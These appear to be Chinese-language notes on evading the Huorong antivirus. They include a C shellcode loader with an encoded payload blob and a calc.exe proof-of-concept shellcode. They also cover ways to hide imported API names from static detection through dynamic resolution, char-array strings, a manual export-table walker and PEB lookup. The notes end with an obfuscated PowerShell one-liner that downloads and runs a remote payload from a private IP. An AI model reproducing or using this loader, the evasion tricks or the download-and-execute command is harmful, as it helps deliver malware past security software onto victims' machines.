免杀过火绒思路整理

官方文档

1
https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

大白哥基础码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <windows.h> // Windows API 和 一些常量
#include <stdio.h> // 标准输入输出库的头文件
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗

unsigned char buf[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\xa3\x17\x43\x94\x5c\x7f\x96\x58\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x5f\x5f\xc0"
"\x70\xac\x97\x56\x58\xa3\x17\x02\xc5\x1d\x2f\xc4\x09\xf5"
"\x5f\x72\x46\x39\x37\x1d\x0a\xc3\x5f\xc8\xc6\x44\x37\x1d"
"\x0a\x83\x5f\xc8\xe6\x0c\x37\x99\xef\xe9\x5d\x0e\xa5\x95"
"\x37\xa7\x98\x0f\x2b\x22\xe8\x5e\x53\xb6\x19\x62\xde\x4e"
"\xd5\x5d\xbe\x74\xb5\xf1\x56\x12\xdc\xd7\x2d\xb6\xd3\xe1"
"\x2b\x0b\x95\x8c\xf4\x16\xd0\xa3\x17\x43\xdc\xd9\xbf\xe2"
"\x3f\xeb\x16\x93\xc4\xd7\x37\x8e\x1c\x28\x57\x63\xdd\x5d"
"\xaf\x75\x0e\xeb\xe8\x8a\xd5\xd7\x4b\x1e\x10\xa2\xc1\x0e"
"\xa5\x95\x37\xa7\x98\x0f\x56\x82\x5d\x51\x3e\x97\x99\x9b"
"\xf7\x36\x65\x10\x7c\xda\x7c\xab\x52\x7a\x45\x29\xa7\xce"
"\x1c\x28\x57\x67\xdd\x5d\xaf\xf0\x19\x28\x1b\x0b\xd0\xd7"
"\x3f\x8a\x11\xa2\xc7\x02\x1f\x58\xf7\xde\x59\x73\x56\x1b"
"\xd5\x04\x21\xcf\x02\xe2\x4f\x02\xcd\x1d\x25\xde\xdb\x4f"
"\x37\x02\xc6\xa3\x9f\xce\x19\xfa\x4d\x0b\x1f\x4e\x96\xc1"
"\xa7\x5c\xe8\x1e\xdd\xe2\x08\xe5\x6a\xfc\x24\x71\x94\x5c"
"\x3e\xc0\x11\x2a\xf1\x0b\x15\xb0\xdf\x97\x58\xa3\x5e\xca"
"\x71\x15\xc3\x94\x58\xa2\xab\x83\x95\x5d\x7b\xd7\x0c\xea"
"\x9e\xa7\xd8\xd5\x8e\xd7\xe2\xef\x60\x65\x93\xa3\xaa\xda"
"\xd1\x49\x7f\x42\x95\x5c\x7f\xcf\x19\x19\x3e\xc3\xff\x5c"
"\x80\x43\x08\xf3\x5a\x72\x5d\x11\x4e\x56\x10\x5c\xd7\x0b"
"\x1d\x9e\x37\x69\x98\xeb\x9e\x82\xd5\xe6\x95\x99\x87\x43"
"\xe8\x96\xdc\xd5\xb8\xfc\x48\xe2\x4f\x0f\x1d\xbe\x37\x1f"
"\xa1\xe2\xad\xda\x31\x28\x1e\x69\x8d\xeb\x96\x87\xd4\x5e"
"\x7f\x96\x11\x1b\x74\x2e\xf0\x5c\x7f\x96\x58\xa3\x56\x13"
"\xd5\x0c\x37\x1f\xba\xf4\x40\x14\xd9\x6d\xbf\xfc\x55\xfa"
"\x56\x13\x76\xa0\x19\x51\x1c\x87\x43\x42\x95\x14\xf2\xd2"
"\x7c\xbb\xd1\x43\xfc\x14\xf6\x70\x0e\xf3\x56\x13\xd5\x0c"
"\x3e\xc6\x11\x5c\xd7\x02\xc4\x15\x80\x5e\x15\x2a\xd6\x0f"
"\x1d\x9d\x3e\x2c\x21\x6f\x28\xc5\x6b\x89\x37\xa7\x8a\xeb"
"\xe8\x89\x1f\x52\x3e\x2c\x50\x24\x0a\x23\x6b\x89\xc4\x66"
"\xed\x01\x41\x02\x2e\xfa\xea\x2b\xc5\x5c\xc2\x0b\x17\x98"
"\x57\xaa\x5e\xdf\x1d\xc3\x6f\xbc\x0a\x93\xe3\xe4\x04\x31"
"\xfb\x36\x7f\xcf\x19\x2a\xcd\xbc\x41\x5c\x7f\x96\x58";
void main() {
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID exec = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (exec == NULL) {
return;
}
// 把shellcode拷贝到这块内存
memcpy(exec, buf, sizeof(buf));
// 创建线程运行
HANDLE hThread = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)exec,
NULL,
NULL,
0);
// 等待线程运行
WaitForSingleObject(hThread, -1);
// 关闭线程
CloseHandle(hThread);
}

弹计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

结构

区段 内容
.text 代码段:main 等
.data 数据段:globalData
.rdata 只读数据(字符串常量、导入表等)
.idata 导入表

一自定义函数

直接使用函数(静态调用)

编译器会在可执行文件的导入表(Import Table)中记录这个函数。

系统在程序启动时自动加载 DLL(比如 kernel32.dll)并解析函数地址。

用 GetProcAddress + 函数指针(动态调用)

程序运行时才去找函数地址

不在导入表里(更难被静态检测)

自定义函数指针

1
VirtualAlloc
1
2
3
4
5
6
7
typedef LPVOID(WINAPI* aVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
aVirtualAlloc MyVirtualAlloc = (aVirtualAlloc)GetProcAddress(LoadLibrary(L"kerner32.dll"), "VirtualAlloc");

句柄 (Handle) 一个”抽象编号” 操作系统内部用的“编号”,不是地址,不能直接拿来访问内存。
基址 (Base Address) 模块加载到内存的起始地址 一个真实的内存地址,可以直接访问模块内容(比如kernel32.dll的加载地址)。
地址 (Address) 任何一个内存位置 可以是任意对象、函数、数据、变量的内存位置。

句柄类型 说明
HANDLE(比如文件、进程、线程、互斥体) 是一个 “系统内核对象句柄”,本质是索引或指针,不能直接解引用。
HMODULE(模块句柄) 是一个内存中的真实基址地址,可以直接当作指针来用。

rdata段的关键字绕过

编译器通常会对字符串字面量保留在 .rdata(只读数据段)中,这样可以在调试工具或二进制中看到它。

编译器会把它放在 PE 文件的 .rdata(只读数据)段

  • char kn[] = { ‘k’, ‘e’, ‘r’, ‘n’, ‘e’, ‘l’, ‘3’, ‘2’, ‘.’, ‘d’, ‘l’, ‘l’, 0 };
  • char use3[] = { ‘V’, ‘i’, ‘r’, ‘t’, ‘u’, ‘a’, ‘l’, ‘A’, ‘l’, ‘l’, ‘o’, ‘c’, 0 };

二遍历导出表

hModule参数是加载的DLL的基址。这是在进程的地址空间中找到的DLL模块的地址

VA

VA (virtual Address) 虚拟地址的意思 ,

RVA

RVA(relative Virtual Address) 相对虚拟地址偏移

序数

函数的序号是一个整数值,表示该函数在 DLL 中的导出函数表中的位置。导出表被组织为函数指针的 列表(数组),每个函数根据其在表中的位置被分配一个序号值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>

FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName) {

// 避免每次使用'hModule'时进行强制类型转换。
PBYTE pBase = (PBYTE)hModule;

// 获取DOS头并执行签名检查
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

// 获取NT标头并执行签名检查 Nt头=dll基址+Dos头
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);

if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;

// 获取可选标头
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;

// 获取图像导出表
// 这是导出目录
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
//PE(Portable Executable)文件格式中的一个字段,它指向程序的 导出表(Export Table) 的相对虚拟地址(RVA)
//函数总数+函数名称数量
DWORD dwFunCount = pImgExportDir->NumberOfFunctions;
DWORD dwFunNameCount = pImgExportDir->NumberOfNames;

// ...
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
// 获取函数的名称数组指针
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
// 获取函数的地址数组指针
//(1) 加一次 pBase + AddressOfFunctions 定位到地址表数组(是RVA数组)
//(2) 再取地址表表里的每一项,pBase 定位到实际字符串
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
// 获取函数的序数数组指针


for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
//获取函数名
WORD wFunctionOrdinal = FunctionOrdinalArray[i];

PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[wFunctionOrdinal]);
//来还原成真正的内存地址,然后才能正确访问函数名!
//获取函数序数
if (strcmp(lpApiName, pFunctionName) == 0) {
printf("[ %0.4d ] NAME: %s -\t ADDRESS: 0x%p -\t ORDINAL: %d\n", i, pFunctionName, pFunctionAddress, wFunctionOrdinal);
//return pFunctionAddress;
}

}
return NULL;

}

char use1[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0 };
char use2[] = { 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 0 };
char use3[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };
char kn32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0 };

int main(int argc, TCHAR* argv[]) {

GetProcAddressReplacement(GetModuleHandleA(kn32), use3);

printf("%p\n", GetProcAddress(GetModuleHandleA(kn32), use3));


system("pause");


}

三内联汇编

基址(Base Address)

  • 定义:基址通常指的是一个模块(如 DLL 或 EXE)在内存中的起始地址。它是模块加载到内存时的地址。
  • 用途:基址用于计算模块中各个部分(如函数、变量)相对于模块开始加载位置的偏移量。

句柄(Handle)

  • 定义:句柄通常是一个由操作系统分配的、用于标识资源(如文件、线程、进程、窗口等)的唯一标识符。
  • 用途:句柄用于访问和操作特定的资源。在 Windows API 中,句柄被广泛用于标识和操作各种资源。

PEB 进程环境块

(Process Environment Block)

TEB 线程环境块

线程环境块在进程环境块里,

gs指向线程环境块,线程环境块里有进程环境块的地址(30/60位)

GS

线程环境块指针

_List_Entry链表结构

https://blog.csdn.net/shenjin_s/article/details/79136121

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
#include<Windows.h>
extern "C" void* GetKernel32Address();
void* addr = GetKernel32Address();
int main()
{
HMODULE hKernel32 = (HMODULE)addr;
printf("kernel32.dll 地址2: %p\n", hKernel32);

HMODULE h = LoadLibraryA("kernel32.dll");
printf("kernel32.dll 地址3: %p\n", h);
system("pause");
return 0;
}

http码上线绕过

看看就行

1
cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://192.1'+'.1'+'.4'+':80'+'82/1') | p^o^w^e^r^s^h^e^l^l -